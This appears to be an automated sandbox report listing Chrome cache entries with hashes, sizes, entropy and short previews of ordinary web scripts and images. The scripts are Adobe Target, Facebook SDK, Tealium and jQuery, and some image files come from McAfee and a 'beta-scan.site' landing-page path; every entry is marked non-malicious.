SHA1:	1F65B5FB35968CAC9ED2E82B32F8BA66427446E6
SHA-256:	8E395C6B4F73B4658869A0A6B17CB3269F04A106BBEBCD93DA3279C586220F9B
SHA-512:	5F513DF822FAA26026B4D63098A349E2ADFC3D2930CCD05A2E532605ED36F7397D63F6CBEF21ED9C03D3F4C5AE880C56B21A4668737EBB6968B38973F120772B
Malicious:	false
Reputation:	low
Preview:	function __getCookie(name) {.. let decodedCookie = decodeURIComponent(document.cookie);.. let cookies = decodedCookie.split('; ');.. for(let i = 0; i < cookies.length; i++) {.. let cookie = cookies[i];.. if (cookie.startsWith(name + '=')) {.. return cookie.substring(name.length + 1);.. }.. }.. return '';..}..if(!window.location.href.includes("/de-de/") \|\| __getCookie('_evidon_consent_cookie').includes('"analytics cookies":true')){..// AT-property.js..function targetPageParams(){if(window.location.href.indexOf("/ipz/")!=-1){return{at_property:"c5361b70-0e91-9172-f979-5395b2ff43b1"}}return{at_property:"2005df77-5d19-e2c3-85ed-5804d4318506"}}..// AT-property.js....//No Custom JavaScript..../*.. @license.. * at.js 1.7.0 \| (c) Adobe Systems Incorporated \| All rights reserved..*/..window.adobe=window.adobe\|\|{},window.adobe.target=function(){"use strict";function n(){}function t(n){if(null===n\|\|void 0===n)throw new TypeError("Object.assign cannot be called with

Chrome Cache Entry: 551

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2485)
Category:	dropped
Size (bytes):	26275
Entropy (8bit):	5.302311916278162
Encrypted:	false
SSDEEP:	768:so/MPtWU9YwUpxbY/Y3YOgQYeYZYHYZYVY+YSYSnusIV54b2XLFFjCKw7v:RIT7sZwuvL54WAcl/j
MD5:	D20843BFFFE5413A78E2BB73D449BF12
SHA1:	A937D81546E717B52FC99B9B6AD5C3B671A0AE94
SHA-256:	62205DCAEC90A77E1669B8DB09F69685D863C033DA820DB1B86C11D3B4D0C785
SHA-512:	08A5DDF161E9482B2A5F85F178C499B525F98F7A1AE080E362FB582534CF63DF7EC13F2ED8F10D778C624C18897082E1D89BC7F242B057477AB5940C7B64DBE5
Malicious:	false
Reputation:	low
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 552

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2634)
Category:	downloaded
Size (bytes):	215007
Entropy (8bit):	5.570249133684993
Encrypted:	false
SSDEEP:	3072:KlnpioNVmhS3UmneRixxvNsxCoVZkGJ7Mi0quzDG5cssBrc8qL:eNbPtNDGJE+
MD5:	19E4EAD696FCCC5FC675ED6EAF3C5148
SHA1:	F9E154BFC2E1189BD4A3CC4BEB181A5BFC1361CC
SHA-256:	8450FC1F7F24721741D928DE5E21F6CC48149DFEACFEC4DC8297F169BD4AC4A7
SHA-512:	F266FE69E03498744B1AFC61CA48DA12373064689A539420167EB354683C818D8109E685FC7F605CDB54C083CC0A5BA47A7F91015EB5923E9C742155085EA9E6
Malicious:	false
Reputation:	low
URL:	https://translate.googleapis.com/_/translate_http/_/js/k=translate_http.tr.en_US.P0kz0mlg1HI.O/am=AAAB/d=1/exm=el_conf/ed=1/rs=AN8SPfoyTFuaK2fXiHc83Aqlf8YFX6RkIw/m=el_main
Preview:	"use strict";this.default_tr=this.default_tr\|\|{};(function(_){var window=this;.try{.var Jh,Kh,Lh,Uh,$h,ai,gi,hi,ii,ji,ni,mi,Qh;Jh=function(a){return _.$a?_.ab?_.ab.brands.some(function(b){return(b=b.brand)&&b.indexOf(a)!=-1}):!1:!1};Kh=function(){return _.v("Firefox")\|\|_.v("FxiOS")};Lh=function(){return _.bb()?Jh("Chromium"):(_.v("Chrome")\|\|_.v("CriOS"))&&!(_.bb()?0:_.v("Edge"))\|\|_.v("Silk")};._.Mh=function(){return _.v("Safari")&&!(Lh()\|\|(_.bb()?0:_.v("Coast"))\|\|_.cb()\|\|(_.bb()?0:_.v("Edge"))\|\|(_.bb()?Jh("Microsoft Edge"):_.v("Edg/"))\|\|(_.bb()?Jh("Opera"):_.v("OPR"))\|\|Kh()\|\|_.v("Silk")\|\|_.v("Android"))};_.Nh=function(){return _.v("Android")&&!(Lh()\|\|Kh()\|\|_.cb()\|\|_.v("Silk"))};_.Oh=function(a){return a instanceof _.bc};_.Ph=function(a){if(_.Oh(a))return a.g;throw Error("t");};_.Rh=function(a){if(Qh.test(a))return a};_.Sh=function(a){return a instanceof _.bc?_.Ph(a):_.Rh(a)};_.Th=function(a){return Array.prototype.slice.call(a)};.Uh=function(a){return typeof Symbol==="function"&&typeof

Chrome Cache Entry: 553

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2952
Entropy (8bit):	4.3021098226971555
Encrypted:	false
SSDEEP:	48:jGs4dHrFhquOqyMaLi6EgMKKqOVHxuI3F4ZAqleV1hfy/x/PE0JF1n:jwfqgZGLB493yPAbMy0JP
MD5:	809C111A104DEB117A33DBD5100FC8CC
SHA1:	14C56103AEAF1A76D7D4B233D0D989F9F9047384
SHA-256:	8474952F856A73D936C67FC73C4B330547430CAEC755CAB2EE773A626EC03988
SHA-512:	8960F8AD2C711A163DB446F916103A3A7C5F66F626E7A420249A957F59F455303CCA03DE963C1A888CED4DCAEDEB4873FA3BDAEDA8A95A4B1CFC0E2A0BD65330
Malicious:	false
Reputation:	low
Preview:	<svg width="148" height="28" viewBox="0 0 148 28" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M71.9547 18.1867L68.18 15.9761L67.9104 16.4115C67.0679 17.7513 65.8883 18.4211 64.4391 18.4211C61.9451 18.4211 60.0915 16.5455 60.0915 14.1005C60.0915 11.6221 61.9788 9.77997 64.4391 9.77997C65.922 9.77997 67.0005 10.4163 67.9104 11.7895L68.18 12.2249L71.9547 10.0144L71.6177 9.54552C69.7978 6.93308 67.4723 5.69385 64.4054 5.69385C58.6423 5.69385 55.5416 10.0479 55.5416 14.134C55.5416 18.2202 58.6423 22.5742 64.4054 22.5742C67.3375 22.5742 70.1011 21.1005 71.6177 18.6891L71.9547 18.1867Z" fill="#C01818"/>.<path d="M71.7525 22.5072H76.9427L78.493 18.689H86.2783L87.8286 22.5072H93.0525L83.7506 0.16748H79.0996L80.3466 3.14834L71.7525 22.5072ZM82.4362 8.97609L84.5257 14.2345H80.2792L82.4362 8.97609Z" fill="#C01818"/>.<path d="M95.2094 22.54H99.7593V12.4922H102.725V8.27206H99.7593V6.29598C99.7593 5.42517 100.332 4.52086 101.411 4.52086C101.984 4.52086 102.354 4.62134 102.691 4.75531L103

Chrome Cache Entry: 554

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 17, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.559521883846945
Encrypted:	false
SSDEEP:	6:6v/lhP6DlkffEy2fZaaMzTaTJu8hl8Tfkbf7ksR0jugS65t9R3xJ/T2c0DYBE8aX:6v/7K0Ey2ZaaMEJphlefkz10KwPRrZ2t
MD5:	3E30AD06926082CF86EAD1E412BEF71F
SHA1:	0AFAC31F08279910FF9D41805333C79313D6263C
SHA-256:	608D9A9A58D76465F5CC3D3DB3474622B3685A23796117A229E223424E2A5A3D
SHA-512:	D21A7BEAD96452EFC64F5973FF0E32D1E15D20A1EF1A9B4122534D69BA68042D5CE9907AF2C77D5F0564102728FC13A6B39C9FE9BC86638267102E0A09C2E5B4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................QPLTE............................................................. ...................C/M....tRNS.@.... ...0..p.0.p....P.......orNT..w.....sRGB.........IDAT..U.... ..1.,-...x...`.9..~.~?.4....ODd...<.\JX.b%z...3..r.n....M{]..N.F.H.........`.....cj..K\|..Z...$...n.w....g...D..e(%.W.......jhD?.....U......IEND.B`.

Chrome Cache Entry: 555

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	285
Entropy (8bit):	7.017295028575875
Encrypted:	false
SSDEEP:	6:6v/lhPOtkBPIzGh41x1zP1slza4jr77mOT8lfRWJU4W5B9/mhtoGxMVljp:6v/75hMx5P8pjvaOTEfga42lmToVF
MD5:	96A09901287F5103DF1EEDBC5F0E6D82
SHA1:	A3A007FC36EDC9844E53B92CFEFFFF53FB989E61
SHA-256:	7BE9749AABC2C9B8F89E363A1C6D17AEC34D5C70E2C2EBA21879F2A859FB9004
SHA-512:	AC9A1277DC68681962B56D6A89A31AF83997C0684A757B5DF3CDD8166E7C3979266B34301906935110219169EFA55064B63B326310FC1ED6D7A158E7CCE0BBDB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............b$....orNT..w.....IDAT(..... ....D...D.YY..Y.....'X....v....Gn..l?...P..7.Zc\>...n...........~3.`..XF.k...`."3+.t...0?M...ay......E..#(...f...u......hB/:..;.I.....%IXU,.......U.:..d.L{..b.T.q....4Y.)..\..>....i.D...D..%7Xa.._.u.....IEND.B`.

Chrome Cache Entry: 556

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9217)
Category:	dropped
Size (bytes):	231864
Entropy (8bit):	5.458039173946496
Encrypted:	false
SSDEEP:	3072:nfLeYH8At6JK37OeR8NteGvQ+AMPpgArl0xYu5s713TW:nfLeYc+6JaH8N7QQGArHu5s713K
MD5:	40283CFC473AFBE1D4ABBA7E6C809885
SHA1:	8A32CB88D9F537B02582DF17A5BB11C2087937F6
SHA-256:	48BA1993011DB4834882D81B2153753437607292F704A6543D4466C0F6D1372A
SHA-512:	DABD9FD4CC3FB4FF3EBC2C3529E602E91939DDB1F42C2D7E70188DFC3262548922EA45C96691D567F2C777D393B5CE7162B5BD4C2054B33A03856BBEA1C1A0E3
Malicious:	false
Reputation:	low
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 557

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.5857056155757725
Encrypted:	false
SSDEEP:	6:NKmsbf/lUvPnklwXENt6F1QVelWkQ9j+mhnnlFzMcI9ocF:PsL9UvPTXIU1QVewkm+mhnnlBvI9ocF
MD5:	C10BDEC858CB0CF9E6CC5865D5925746
SHA1:	697C095ED5509E5A5AF0C5EBF2380662AEFFC531
SHA-256:	B65B47A79E32335D9CA35FF59C6975D2B5808F84DA0DB88D11CE777B33E72AD9
SHA-512:	7F07C1EDF29CBC427E655B5D3FBBD123228275C55F49EF4E5C0FC1A987F4093C4736FD2DBF03C873630C4FF983D4CA8090D8785D05D7B15B638AE55165984FAC
Malicious:	false
Reputation:	low
Preview:	GIF89a................0/1...GFI......~.........igg..........UTT..........ppp...zwz..._\a...............................................................................................................!.......,.............p.A ...c1l:..."S(....@..l...V..<..E..ib....P.X.L..r.D....................w...........b...Q.......B...Bd......B.........Y..B........B....C... B....BA.;

Chrome Cache Entry: 558

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14922)
Category:	downloaded
Size (bytes):	26243
Entropy (8bit):	5.183626509690236
Encrypted:	false
SSDEEP:	384:ilNsImVVML7UM4oSH0HkgvkMSk8lkLMk0vkk/7iYXykkAhXBc6JHu3UiB0A:ilKVAEHz+Cyyccul
MD5:	70822B3E0A9C9F8540FAF79179D3732A
SHA1:	2513DE055A21CD942F4B1713E8589DF55FFBC9E4
SHA-256:	828DDD693BC08434E00E4A335DB98C2962A742E55372C1760441EAC79787D221
SHA-512:	A929726A67526DF96136DD694DDE43C3746B6490B2F44BF96D4C320CC4F39DABB35F8D05B190500D4A7F565B334F8DFDACE26BBA3329E154A04AAE08252A22D4
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.529.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.529 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatecha

Chrome Cache Entry: 559

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1579)
Category:	dropped
Size (bytes):	10448
Entropy (8bit):	5.143670832450589
Encrypted:	false
SSDEEP:	192:4bFnNojImVVMDK3TXvUcgbRmYaUsL5t3UhNzT5Qad9FMjnpBu4x0allS45/2vNnT:4lNsImVVMDKDBgFAUI5t3UPgM1
MD5:	40B1A7FD4331022C9017F8B1AB9FCF3B
SHA1:	909BA815C3DDCD134F6364BDD00F4C109AF9EF73
SHA-256:	29AF7BC45DDA0139782DD5660173277682BC5872B76F4EBE139124FA61914782
SHA-512:	0EB1CFF0C9812141A4E6964C35EBE938E1C24CDE715F76681F823C7619162F0986D561D48A61387645566D7EE20342CECF1157646FCEA0AC9C42EB9AC07BB6E4
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.516 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatecha

Chrome Cache Entry: 560

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1024 x 329, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	87122
Entropy (8bit):	7.970202511469303
Encrypted:	false
SSDEEP:	1536:6Hfjo6Kz8KQLYv3kem9MzyQQa9kptnTRzUE5D/I9soND+0Gc0UVgWZC7:uKzuyboM+K6XnTlz/+HhGcpOWZW
MD5:	19E7577BCD4B070A70A9700F56D67EB7
SHA1:	AEB6C4F50848E3E01FB7C60D134358937232BF4C
SHA-256:	31C9F77311CE1481920FA00B123DAB66FDDF822C21B19E93C27BC0C755C464E6
SHA-512:	1EE6A9C228E81DA1C22DFD5367A90784D27A4DD003203019A711055E56F822BA09CA87996DF848205F873EEAE8F87BF33F79FB9BA058551D6F9C7E4EA0CC88C6
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/images/safe-browser-logo.png
Preview:	.PNG........IHDR.......I......r_.....pHYs...............T.IDATx...y\|T.?..s.5.,.e..!.J.a'"..b.Ul....V.{k{...V...Z......V[QA.....D.%a......$..s......d...d..}!...'.l...}.....a..a.SQQ!.>}...O?.....r..dY...t:L.>.......\.......e..a..a. ,..0.....w.}i..O...@..A.......{......a..a.a.\|=..a..,///...%...&...=...1C......j4........ra..5.......E.......(.C.M@@..G5~TTT.&...7.N.Azz..{<0..0.3...3b...Bll.....@N.81..#.*ZYYY....rw.+.G......^........s..yu.?7...._\|........v....KC...........K[ZZRZZZR.......I......6.......y.......ltt.....wg.=.~>..w...._~..k....j..e.E..u.]o.z\..0.o.%.....i..X.8....7.. ....._/..Ov.={V...2.s(.J...c...G........q...'?1.8p@3.. ..........NH......;.......z..~....m[j.XFu.A........,[...n...$b.-[.<..?......c...........[>...0..#,..........0n.u......x.gF.0....ol.u....}.....{B...........j.w.Z.FVV.......... ."...QYYi...............g.=.m..O.7%%.w.u.3..........i.5..K.......m.Ha.....%.L?}......znG)...jX"....y..w'..v..s....v...{...z..w.u...

Chrome Cache Entry: 561

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (960)
Category:	dropped
Size (bytes):	830847
Entropy (8bit):	5.470802331308291
Encrypted:	false
SSDEEP:	6144:BEMGZrp0arM86miolZ3e4Iy98O35bTNnEInFc824G4ywxladxbQU5iQV6h+NecfT:A10cd3lNqkbUP
MD5:	FF5109D9561E2976E2D38EDEACC3D2F4
SHA1:	D62403E26ACE309B06B8A4F2C30E6DA34D1AF7EE
SHA-256:	A5F819EE13ED4EA3BF71F3AA6B5C1A08752F65917148CA50485FF82F41A68EC5
SHA-512:	7DAE6C5AD652F6763B8820DC5F6F55F35BAC67B80333CCEA34A085612D5F6CA371D592AE4C23A13C97033526059FFE5189BEC2D212979835C7ED5B4A8440E633
Malicious:	false
Reputation:	low
Preview:	/. jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license Bootstrap v4.5.0 (https://getbootstrap.com/). Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)./.!function(b,d){"object"==typeof module&&"object"==typeof module.exports?module.exports=b.document?d(b,!0):function(a){if(!a.document)throw Error("jQuery requires a window with a document");return d(a)}:d(b)}("undefined"!=typeof window?window:this,function(b,d){function a(a,b,c){var d,B,e=(c=c\|\|ka).createElement("script");if(e.text=a,b)for(d in eb)(B=b[d]\|\|b.getAttribute&&b.getAttribute(d))&&e.setAttribute(d,B);c.head.appendChild(e).parentNode.removeChild(e)}function e(a){return null==a?a+"":"object"==.typeof a\|\|"function"==typeof a?aa[ma.call(a)]\|\|"object":typeof a}function f(a){var b=!!a&&"length"in a&&a.length,c=e(a);return!ia(a)&&!Ia(a)&&("array"===c\|\|0===b\|\|"number"==typeof b&&0<b&

Chrome Cache Entry: 562

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.595406414077556
Encrypted:	false
SSDEEP:	12:6v/7Q0D858R+uXrLX6B75AQZfWsVZ8wlURPZZ8ulhtIgjui/rKQwNU7/1:o8GcQrLX6Z5AQZbVZ8WIPRlhDrnwNU79
MD5:	C50CDE85B629B7BD92BB10D82553D9A8
SHA1:	DADAC3CE69B7E3734FB47FCFD1AE47BF2DC5922D
SHA-256:	BB329AFC542F3F747753BAC1217E992A714CD867170973DF206107C30A627E90
SHA-512:	0CF3CB6951C6224868D3A7D4D35B97C983CAB623F1A0C222E9B7B9C390FBFE7F5925CFAF3C649F8109FC0849CE43880C204F834F61CB0F7DD4FD37CBD1080EB6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............J~.s....orNT..w....+IDAT8..MHTQ..o.`DZN......h!5.P...].A.b.w...}.Lm.[."......EE.+s.....+...H....Bgt...<.{..w>..s.Z.+.In..[V.{X_.g\..~.o..m...BT.$...;.y.._<.H#..EX).Y.s..x.....q..c!..]..zH..y..R..;h~..7.-..[e$..T..L.^g!...D5<...M..y.........].J).._. ...4.g..Ov..+.c^...>....\....U..i.@C.j....2.E..W{.d!.....4ut6p..\|..........]......i.#_./...(..':...?+....V.3vZ.....m.o.H7....h.8.=...<....N...o.....h0....A..n...<P..S....x......v{...L.G.p.\|=...f.2$".=`Z.V.n..w#.^.<...h .X..q3...].....&'"c.R...Z....=.Y...O.L.).Q.....rY^p.'...m..a.{M5z........,..p<......IEND.B`.

Chrome Cache Entry: 563

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7134
Entropy (8bit):	4.438009666686593
Encrypted:	false
SSDEEP:	192:thbdNk4WJ0/fG1xDuX1YltGWH5CHwzmcbXpB:tRLYmoxcYltGWHiwzBn
MD5:	AC5E9AA242F469CA4A15E4D4AE9BFD74
SHA1:	6A9326E31C4FEA66A6746F5DCB6AA6A5E215983E
SHA-256:	AE36336D689E9A7793610E33411BE0D6C3C7420248C2D8FBE381F3575C15325A
SHA-512:	2084217E6F584473D5B6309E6EE65B3A7A44786B479D6C2926F65EFA544E91194614CB0D7E3C8EBCAC133DA3EB94C3B8F5EA9582B4DE90A6AA0DBFEE6B0F3FA1
Malicious:	false
Reputation:	low
Preview:	<svg width="31" height="30" viewBox="0 0 31 30" fill="none" xmlns="http://www.w3.org/2000/svg">.<g clip-path="url(#clip0_100_2137)">.<path d="M16.6919 0.955249L19.4456 3.36988C19.9255 3.7907 20.5308 4.04143 21.1677 4.08321L24.8223 4.32295C25.6234 4.37551 26.2615 5.01365 26.3141 5.81478L26.5538 9.46932C26.5956 10.1062 26.8463 10.7116 27.2672 11.1915L29.6818 13.9451C30.2111 14.5488 30.2111 15.4513 29.6818 16.0549L27.2672 18.8086C26.8463 19.2885 26.5956 19.8938 26.5538 20.5307L26.3141 24.1853C26.2615 24.9864 25.6234 25.6245 24.8223 25.6771L21.1677 25.9168C20.5308 25.9586 19.9255 26.2093 19.4456 26.6302L16.6919 29.0448C16.0882 29.5741 15.1858 29.5741 14.5821 29.0448L11.8285 26.6302C11.3486 26.2093 10.7432 25.9586 10.1063 25.9168L6.45178 25.6771C5.65064 25.6245 5.0125 24.9864 4.95994 24.1853L4.72021 20.5307C4.67843 19.8938 4.42769 19.2885 4.00687 18.8086L1.59224 16.0549C1.06291 15.4513 1.06291 14.5488 1.59224 13.9451L4.00687 11.1915C4.42769 10.7116 4.67843 10.1062 4.72021 9.46932L4.95994 5.

Chrome Cache Entry: 564

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	330
Entropy (8bit):	7.017538534304214
Encrypted:	false
SSDEEP:	6:JZmlNCkVDDKYMQNrOlOrl/UKP+yrRSIgM2mcoDJFhHIDlpPV6dNHwMa8g+Ll:CNCwDPMQNClOBUK/R7yUrHIDHPYdNH8Y
MD5:	C17A8662D74695874B784F6009A78C4E
SHA1:	A91C92914429A0D1FB6272AF5E98CF86F34A07F6
SHA-256:	DDF62CC130E0D43CDDE85A8078B5D902E61DD3E1F161B2E5296BF738D0A8AD73
SHA-512:	11C78B37E8C121172F408B401D541279F990D876AB795DC52A29677A91DC626889709C50F94CE6060CE682E4497B0D83CB3C5E99541C73024FBE73229D613ED8
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/payment-image/tooltipImage.png
Preview:	RIFFB...WEBPVP8X..............ALPH...........c..,.$....t.b.{.....".\!i{...P\w...w... >.G.F.i..NJz....m.)).i...P.a.)..A..R/...-H..V+Re.N.`Z.8........M...[...n`N^.h........7..s..c.x.....0D.6.....s.f......M)4..!.........`.~N....~..0\Tb....R.....{.}H.E.I/W.....VP8 8............>.Z.L(%#.0.....g...0..(...`._.j.......t....l..

Chrome Cache Entry: 565

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	69
Entropy (8bit):	4.800672923395278
Encrypted:	false
SSDEEP:	3:CsDi/NQlZ/lqMkAI/HyjFB0se:N+/NQlOHSjH0/
MD5:	3AE573D079DCD1D2DA4086F2C0C72C45
SHA1:	E7C9DABEC81379373476ED23168DCECB9B8C56AA
SHA-256:	9CCE08AB28E94790CF78C87E37F8690ACBC6C535E4B43AE7B38506B94538E107
SHA-512:	C1899B5E08F520B08E5F59EE380C5D108DA99F2EAF5F1EF2FE6D078A1ECF92D83E0A86B98DD1E1BAC7B3A360ACEB9975D7815FFE3416954414A85FC487B2F513
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/images/action_1.gif
Preview:	GIF89a.............!.......,.............i..d......v.'..y..).G..;

Chrome Cache Entry: 566

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5552)
Category:	dropped
Size (bytes):	70234
Entropy (8bit):	5.32516296629246
Encrypted:	false
SSDEEP:	1536:RJeUwT7hpwNFHM9ZK0BK01QYTZ02LKVsdmpyKcicyP:RIT7ss9ZKAKBYj8wKcHyP
MD5:	6E5297A25625A192696D72CC492049D1
SHA1:	2512F1696FEE96BE09442A33DB663C4CB19F2E12
SHA-256:	ED10D9F5A68334A630844AEFFD7A620A6C0409B276A64116214D56F1CE89FAAD
SHA-512:	7574C1561FA4315865412A3064534D2340FB773E8608C02FB6A451863B32F463DA17D212E9BB531698E23417FC52602547BDB9AC67426559C2EE7B9918C741EE
Malicious:	false
Reputation:	low
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 567

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.9171598404979675
Encrypted:	false
SSDEEP:	24:0nHjGmI5zhVPwMRLMZVgiPMD7Xo/21Zd6zxiPnO9q0zOj:0HjIHJrQX1eTLjOWj
MD5:	FF7441C3264D89023F376E5319DAD793
SHA1:	1F0BE835D947EB2DE35D945EA5B9B92578A8CBD7
SHA-256:	93130759A18703DCAD5862BC2FD2973EDF9AB7E48BA2C0B4CD4FCFAF832DF223
SHA-512:	B51514AAEC63C9959575BFE4FCF91AE5EE784340D32966816FD932923A5E1707498D202523A4ABFDC0B72702C54FF85778C80E9A11BC2BC0BD339533BC19510D
Malicious:	false
Reputation:	low
